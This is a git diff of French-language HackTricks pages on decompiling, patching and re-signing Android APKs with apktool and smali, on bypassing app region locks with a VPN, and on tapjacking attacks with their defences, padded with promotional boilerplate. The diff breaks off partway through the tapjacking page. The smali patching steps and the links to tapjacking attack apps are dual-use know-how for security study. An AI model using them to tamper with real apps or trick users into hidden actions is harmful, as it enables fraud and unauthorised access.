||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Smali - Décompilation/\[Modification]/Compilation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Parfois, il est intéressant de modifier le code de l'application pour accéder à des informations cachées pour vous (peut-être des mots de passe bien obfusqués ou des indicateurs). Ensuite, il pourrait être intéressant de décompiler l'APK, modifier le code et le recompiler.
|
||||
Parfois, il est intéressant de modifier le code de l'application pour accéder à des informations cachées pour vous (peut-être des mots de passe ou des drapeaux bien obfusqués). Ensuite, il pourrait être intéressant de décompiler l'apk, de modifier le code et de le recompiler.
|
||||
|
||||
**Référence des opcodes :** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
**Référence des Opcodes :** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Méthode Rapide
|
||||
## Façon Rapide
|
||||
|
||||
En utilisant **Visual Studio Code** et l'extension [APKLab](https://github.com/APKLab/APKLab), vous pouvez **décompiler automatiquement**, modifier, **recompiler**, signer et installer l'application sans exécuter de commande.
|
||||
|
||||
|
@ -30,43 +31,43 @@ En utilisant APKTool, vous pouvez accéder au **code smali et aux ressources** :
|
|||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
Si **apktool** vous donne une erreur, essayez [d'installer la **dernière version**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Si **apktool** vous donne une erreur, essayez d'[installer la **dernière version**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
Certains **fichiers intéressants à examiner sont**:
|
||||
Certains **fichiers intéressants à examiner sont** :
|
||||
|
||||
* _res/values/strings.xml_ (et tous les fichiers XML à l'intérieur de res/values/\*)
|
||||
* _res/values/strings.xml_ (et tous les xml à l'intérieur de res/values/*)
|
||||
* _AndroidManifest.xml_
|
||||
* Tout fichier avec l'extension _.sqlite_ ou _.db_
|
||||
|
||||
Si `apktool` a des **problèmes pour décoder l'application**, consultez [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou essayez d'utiliser l'argument **`-r`** (Ne pas décoder les ressources). Ensuite, si le problème était dans une ressource et non dans le code source, vous n'aurez pas le problème (vous ne décompilerez pas non plus les ressources).
|
||||
Si `apktool` a des **problèmes pour décoder l'application**, jetez un œil à [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou essayez d'utiliser l'argument **`-r`** (Ne pas décoder les ressources). Ensuite, si le problème était dans une ressource et non dans le code source, vous n'aurez pas le problème (vous ne décompilerez pas non plus les ressources).
|
||||
|
||||
## Modifier le code Smali
|
||||
## Modifier le code smali
|
||||
|
||||
Vous pouvez **modifier** des **instructions**, changer la **valeur** de certaines variables ou **ajouter** de nouvelles instructions. Je modifie le code Smali en utilisant [**VS Code**](https://code.visualstudio.com), vous installez ensuite l'**extension smalise** et l'éditeur vous indiquera si une **instruction est incorrecte**.\
|
||||
Certains **exemples** peuvent être trouvés ici:
|
||||
Vous pouvez **modifier** les **instructions**, changer la **valeur** de certaines variables ou **ajouter** de nouvelles instructions. Je modifie le code Smali en utilisant [**VS Code**](https://code.visualstudio.com), vous devez ensuite installer l'**extension smalise** et l'éditeur vous indiquera si une **instruction est incorrecte**.\
|
||||
Quelques **exemples** peuvent être trouvés ici :
|
||||
|
||||
* [Exemples de modifications Smali](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Ou vous pouvez [**vérifier ci-dessous certaines modifications Smali expliquées**](smali-changes.md#modifying-smali).
|
||||
Ou vous pouvez [**vérifier ci-dessous quelques modifications Smali expliquées**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Recompilez l'APK
|
||||
## Recompiler l'APK
|
||||
|
||||
Après avoir modifié le code, vous pouvez **recompiler** le code en utilisant:
|
||||
Après avoir modifié le code, vous pouvez **recompiler** le code en utilisant :
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Il va **compiler** le nouveau APK **à l'intérieur** du dossier _**dist**_.
|
||||
Cela va **compiler** le nouvel APK **dans** le dossier _**dist**_.
|
||||
|
||||
Si **apktool** lance une **erreur**, essayez [d'installer la **dernière version**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Si **apktool** génère une **erreur**, essayez[ d'installer la **dernière version**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **Signer le nouveau APK**
|
||||
### **Signer le nouvel APK**
|
||||
|
||||
Ensuite, vous devez **générer une clé** (vous devrez entrer un mot de passe et quelques informations que vous pouvez remplir de manière aléatoire):
|
||||
Ensuite, vous devez **générer une clé** (on vous demandera un mot de passe et quelques informations que vous pouvez remplir au hasard) :
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
Enfin, **signez** le nouveau APK :
|
||||
Enfin, **signez** le nouvel APK :
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
|
@ -77,9 +78,9 @@ jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
|||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Signer le nouvel APK (encore?)**
|
||||
### **Signer le nouvel APK (encore ?)**
|
||||
|
||||
Si vous **préférez** utiliser [**apksigner**](https://developer.android.com/studio/command-line/) au lieu de jarsigner, **vous devriez signer l'APK** après avoir appliqué **l'optimisation avec** zipalign. MAIS REMARQUEZ QUE VOUS DEVEZ **SIGNER L'APPLICATION UNE SEULE FOIS** AVEC jarsigner (avant zipalign) OU AVEC apksigner (après zipalign).
|
||||
Si vous **préférez** utiliser [**apksigner**](https://developer.android.com/studio/command-line/) au lieu de jarsigner, **vous devez signer l'apk** après avoir appliqué **l'optimisation avec** zipalign. MAIS REMARQUEZ QUE VOUS DEVEZ **SIGNER L'APPLICATION UNE SEULE FOIS** AVEC jarsigner (avant zipalign) OU AVEC apksigner (après zipalign).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
|||
return-void
|
||||
.end method
|
||||
```
|
||||
Le jeu d'instructions Smali est disponible [ici](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
L'ensemble d'instructions Smali est disponible [ici](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### Modifications légères
|
||||
### Changements légers
|
||||
|
||||
### Modifier les valeurs initiales d'une variable à l'intérieur d'une fonction
|
||||
|
||||
Certaines variables sont définies au début de la fonction en utilisant l'opcode _const_, vous pouvez modifier leurs valeurs, ou vous pouvez en définir de nouvelles :
|
||||
Certaines variables sont définies au début de la fonction en utilisant l'opcode _const_, vous pouvez modifier ses valeurs, ou vous pouvez en définir de nouvelles :
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
|
@ -138,7 +139,7 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
|
|||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||
goto :goto_6 #Always go to: :goto_6
|
||||
```
|
||||
### Changements Importants
|
||||
### Changements Plus Importants
|
||||
|
||||
### Journalisation
|
||||
```bash
|
||||
|
@ -149,19 +150,19 @@ move-result-object v1 #Move to v1
|
|||
const-string v5, "wins" #Save "win" inside v5
|
||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||
```
|
||||
Recommandations :
|
||||
Recommendations:
|
||||
|
||||
* Si vous allez utiliser des variables déclarées à l'intérieur de la fonction (déclarées v0, v1, v2...), placez ces lignes entre _.local \<nombre>_ et les déclarations des variables (_const v0, 0x1_)
|
||||
* Si vous souhaitez placer le code de journalisation au milieu du code d'une fonction :
|
||||
* Si vous allez utiliser des variables déclarées à l'intérieur de la fonction (déclarées v0,v1,v2...) mettez ces lignes entre le _.local \<number>_ et les déclarations des variables (_const v0, 0x1_)
|
||||
* Si vous voulez mettre le code de journalisation au milieu du code d'une fonction :
|
||||
* Ajoutez 2 au nombre de variables déclarées : Ex : de _.locals 10_ à _.locals 12_
|
||||
* Les nouvelles variables doivent être les nombres suivants des variables déjà déclarées (dans cet exemple, ce devrait être _v10_ et _v11_, rappelez-vous que cela commence par v0).
|
||||
* Modifiez le code de la fonction de journalisation et utilisez _v10_ et _v11_ au lieu de _v5_ et _v1_.
|
||||
* Les nouvelles variables devraient être les prochains numéros des variables déjà déclarées (dans cet exemple, cela devrait être _v10_ et _v11_, rappelez-vous que cela commence à v0).
|
||||
* Changez le code de la fonction de journalisation et utilisez _v10_ et _v11_ au lieu de _v5_ et _v1_.
|
||||
|
||||
### Toasting
|
||||
|
||||
N'oubliez pas d'ajouter 3 au nombre de _.locals_ au début de la fonction.
|
||||
|
||||
Ce code est prêt à être inséré au **milieu d'une fonction** (**changez** le nombre de **variables** selon les besoins). Il prendra la **valeur de this.o**, la **transformera** en **String** et **affichera** un **toast** avec sa valeur.
|
||||
Ce code est préparé pour être inséré dans le **milieu d'une fonction** (**changez** le nombre des **variables** si nécessaire). Il prendra la **valeur de this.o**, **la transformera** en **String** et ensuite **fera** un **toast** avec sa valeur.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
@ -173,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
|||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Dans les situations où une application est restreinte à certains pays et que vous ne pouvez pas l'installer sur votre appareil Android en raison de limitations régionales, le fait de falsifier votre emplacement pour le faire correspondre à un pays où l'application est disponible peut vous accorder l'accès. Les étapes ci-dessous détaillent comment faire cela :
|
||||
Dans les situations où une application est restreinte à certains pays, et que vous ne pouvez pas l'installer sur votre appareil Android en raison de limitations régionales, simuler votre emplacement dans un pays où l'application est disponible peut vous donner accès. Les étapes ci-dessous détaillent comment procéder :
|
||||
|
||||
1. **Installer Hotspot Shield Free VPN Proxy :**
|
||||
- Commencez par télécharger et installer Hotspot Shield Free VPN Proxy depuis le Google Play Store.
|
||||
|
@ -23,35 +24,36 @@ Dans les situations où une application est restreinte à certains pays et que v
|
|||
|
||||
3. **Effacer les données du Google Play Store :**
|
||||
- Accédez aux **Paramètres** de votre appareil.
|
||||
- Rendez-vous dans **Applications** ou **Gestionnaire d'applications** (cela peut varier en fonction de votre appareil).
|
||||
- Allez dans **Applications** ou **Gestionnaire d'applications** (cela peut varier selon votre appareil).
|
||||
- Trouvez et sélectionnez **Google Play Store** dans la liste des applications.
|
||||
- Appuyez sur **Forcer l'arrêt** pour mettre fin à tout processus en cours de l'application.
|
||||
- Ensuite, appuyez sur **Effacer les données** ou **Effacer le stockage** (les termes exacts peuvent varier) pour réinitialiser l'application Google Play Store à son état par défaut.
|
||||
- Appuyez sur **Forcer l'arrêt** pour terminer tous les processus en cours de l'application.
|
||||
- Ensuite, appuyez sur **Effacer les données** ou **Effacer le stockage** (la formulation exacte peut varier) pour réinitialiser l'application Google Play Store à son état par défaut.
|
||||
|
||||
4. **Accéder à l'application restreinte :**
|
||||
- Ouvrez le **Google Play Store**.
|
||||
- Le magasin devrait maintenant refléter le contenu du pays auquel vous vous êtes connecté via le VPN.
|
||||
- Vous devriez pouvoir rechercher et installer l'application qui était précédemment non disponible dans votre emplacement réel.
|
||||
- Le store devrait maintenant refléter le contenu du pays auquel vous vous êtes connecté via le VPN.
|
||||
- Vous devriez être en mesure de rechercher et d'installer l'application qui était auparavant indisponible dans votre emplacement réel.
|
||||
|
||||
### Notes importantes :
|
||||
- L'efficacité de cette méthode peut varier en fonction de plusieurs facteurs, notamment la fiabilité du service VPN et les restrictions régionales spécifiques imposées par l'application.
|
||||
- L'efficacité de cette méthode peut varier en fonction de plusieurs facteurs, y compris la fiabilité du service VPN et les restrictions régionales spécifiques imposées par l'application.
|
||||
- L'utilisation régulière d'un VPN peut affecter les performances de certaines applications et services.
|
||||
- Soyez conscient des conditions d'utilisation de toute application ou service que vous utilisez, car l'utilisation d'un VPN pour contourner les restrictions régionales peut violer ces conditions.
|
||||
- Soyez conscient des conditions d'utilisation de toute application ou service que vous utilisez, car utiliser un VPN pour contourner les restrictions régionales peut violer ces conditions.
|
||||
|
||||
## Références
|
||||
## References
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# Tapjacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Informations de base**
|
||||
## **Basic Information**
|
||||
|
||||
**Le Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour interagir avec elle, tout en transmettant l'interaction à l'application victime.\
|
||||
En effet, cela **empêche l'utilisateur de savoir qu'il effectue réellement des actions sur l'application victime**.
|
||||
**Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
|
||||
En effet, cela **aveugle l'utilisateur sur le fait qu'il effectue réellement des actions sur l'application victime**.
|
||||
|
||||
### Détection
|
||||
### Detection
|
||||
|
||||
Pour détecter les applications vulnérables à cette attaque, vous devez rechercher les **activités exportées** dans le manifeste Android (notez qu'une activité avec un intent-filter est automatiquement exportée par défaut). Une fois que vous avez trouvé les activités exportées, **vérifiez si elles nécessitent des autorisations**. Cela est nécessaire car la **application malveillante aura également besoin de cette autorisation**.
|
||||
Pour détecter les applications vulnérables à cette attaque, vous devez rechercher des **activités exportées** dans le manifeste android (notez qu'une activité avec un intent-filter est automatiquement exportée par défaut). Une fois que vous avez trouvé les activités exportées, **vérifiez si elles nécessitent une autorisation**. Cela est dû au fait que **l'application malveillante aura également besoin de cette autorisation**.
|
||||
|
||||
### Protection
|
||||
|
||||
#### Android 12 (API 31,32) et supérieur
|
||||
|
||||
[**Selon cette source**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** les attaques de tapjacking sont automatiquement empêchées par Android à partir d'Android 12 (API 31 et 30) et supérieur. Ainsi, même si l'application est vulnérable, vous **ne pourrez pas l'exploiter**.
|
||||
[**Selon cette source**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** les attaques de tapjacking sont automatiquement prévenues par Android à partir d'Android 12 (API 31 & 30) et supérieur. Donc, même si l'application est vulnérable, vous **ne pourrez pas l'exploiter**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Si **`android:filterTouchesWhenObscured`** est défini sur **`true`**, la `View` ne recevra pas de touches lorsque la fenêtre de la vue est obscurcie par une autre fenêtre visible.
|
||||
Si **`android:filterTouchesWhenObscured`** est défini sur **`true`**, la `View` ne recevra pas de touches chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
|
@ -54,42 +55,43 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
La plus **récente application Android** effectuant une attaque Tapjacking (+ invoquant avant une activité exportée de l'application attaquée) peut être trouvée à l'adresse : [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
La **dernière application Android** effectuant une attaque Tapjacking (+ invocation avant une activité exportée de l'application attaquée) peut être trouvée ici : [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Suivez les instructions du **README pour l'utiliser**.
|
||||
Suivez les **instructions du README pour l'utiliser**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
Un projet d'exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour se superposer à d'autres activités afin d'effectuer une attaque par clickjacking, peut être trouvé à [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk).
|
||||
